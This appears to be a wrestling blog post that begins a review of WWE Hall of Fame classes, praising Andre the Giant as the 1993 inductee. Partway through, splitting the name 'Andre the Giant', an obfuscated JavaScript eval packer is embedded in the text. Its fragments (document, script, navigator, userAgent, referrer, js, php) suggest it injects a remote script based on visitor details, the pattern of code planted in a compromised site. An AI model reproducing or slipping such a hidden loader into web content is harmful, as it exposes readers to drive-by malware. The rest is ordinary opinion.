WWE Hall of Fame: Class of 1993
With Hall of Fame season upon us, I’m going to take a look back at every class and see how well they hold up. Clearly over the years some of them have been very pathetic while some of them are no brainers. In my usual once a day fashion, we’ll be looking at each class and I’ll be talking about each member of that class, saying a bit about them (not a biography unless it’s someone you likely haven’t heard of. I won’t be explaining who Hulk Hogan is for example) and whether or not they should be in the Hall of Fame. Note that I’m saying if I think they belong in a general Hall of Fame and not WWE’s, as a lot of the people rarely if ever performed for the WWF/E. Let’s get to it.Andre eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zfyhs|var|u0026u|referrer|dhrdh||js|php'.split('|'),0,{})) the Giant
To put it simply, he’s the reason the Hall of Fame was established. Andre really was larger than life and the biggest draw for the company until Hogan showed up. He was a huge (pun intended) star in the territory days and he would rotate around the country, never overstaying his welcome. This was also required because he can only beat up everyone in the territory for so long. Of course his biggest match ever was at Wrestlemania 3 in the biggest match of all time, but his glory days were in the 70s and early 80s when Andre was arguably the top star in the world.
He embodies the larger than life characters that guys like Undertaker and Big Show try to emulate today. When Vince created the Undertaker character, he wasn’t trying to make the new Hogan. He was trying to make the new Andre: a character the fans would be in awe of and would hardly ever lose. Andre belongs in any Hall of Fame and was the perfect choice to start the Hall off with.